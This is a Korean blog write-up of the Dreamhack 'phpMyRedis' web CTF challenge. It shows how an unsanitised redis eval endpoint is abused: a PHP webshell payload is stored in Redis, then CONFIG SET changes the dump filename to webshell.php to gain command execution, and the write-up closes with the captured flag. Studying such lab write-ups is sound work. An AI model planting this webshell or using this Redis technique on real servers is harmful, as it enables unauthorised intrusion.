-
Dreamhack - phpMyRedis / Level 2Dreamhack/Web 2024. 6. 21. 13:34
find / -type f -name 'flag*’
Description
php로 redis를 관리하는 서비스입니다.
취약점을 찾고 flag를 휙득하세요!
source
풀이 과정
index..php에 Redis 내부에 데이터를 넣을 수 있는 부분을 확인
if(isset($_POST['cmd'])){ $redis = new Redis(); $redis->connect($REDIS_HOST); $ret = json_encode($redis->eval($_POST['cmd'])); echo '<h1 class="subtitle">Result</h1>'; echo "<pre>$ret</pre>"; if (!array_key_exists('history_cnt', $_SESSION)) { $_SESSION['history_cnt'] = 0; } $_SESSION['history_'.$_SESSION['history_cnt']] = $_POST['cmd']; $_SESSION['history_cnt'] += 1; if(isset($_POST['save'])){ $path = './data/'. md5(session_id()); $data = '> ' . $_POST['cmd'] . PHP_EOL . str_repeat('-',50) . PHP_EOL . $ret; file_put_contents($path, $data); echo "saved at : <a target='_blank' href='$path'>$path</a>"; } }
key : value 값으로 데이터를 넣어 확인 가능
command : return redis.call(’set’, ‘key1’, ‘hello’);
result : true
command : return redis.call(’get’, ‘key1’);
result : “helllo”
이렇게 데이터 값을 key : value로 넣을 수 있음을 확인
command : return redis.call(’KEYS’, ‘*’);
result : ["PHPREDIS_SESSION:3d318f367a846ebb661a8f8130c61f87","key1"]
모든 키 값을 확인
command : return redis.call(’get’, ‘PHPREDIS_SESSION:3d318f367a846ebb661a8f8130c61f87’);
지금까지 입력했던 값들을 확인 가능
그러면 key : value를 넣을 때 php webshell을 업로드 하고 이를 확인해서 실행시키자!
command : return redis.call('set', 'wow', "<?php system($_GET['x']) ?>");
result : true
command : return redis.call('get', 'wow');
result : “”
하지만 아무 값도 나오지 않음
connfig.php 파일에 redis config파일을 수정하고 있는 것을 확인
Config : GET
Key : dbfilename
⇒ dbfilename을 확인 가능
⇒ dump.rdb 라는 백업 파일을 확인
3600초 안에 1개 / 300초 내에 100 / 60초 내에 10000 개를 넣어야지만 dump.rdb파일이 들어가야 함
따라서 60초 안에 10,000를 넣기에는 불가능
⇒ save로 변경
Config : SET
Key : save
Value : 10 1
Result : 1
save 시간을 10초에 1개로 설정
파일 다운
파일 내부 php가 들어 감을 확인
⇒ db파일 이름이 dump.rdb가 아니라 확장자가 php라면 실행이 될 것
Config : SETKey : dbfilename
Value : webshell.php
Result : 1
⇒ host3.dreamhack..games:11507/webshell.php 로 접근
적용됨이 확인
x=find / -type f -name 'flag*’;
이름이 flag로 시작하는 파일을 루트 폴더부터 검사
정답
- flag
- DH{97c08d732ca9ad65e35c8781ea3178f2d27bd726}
'Dreamhack > Web' 카테고리의 다른 글
Dreamhack - Simple SSTI (0) 2024.07.25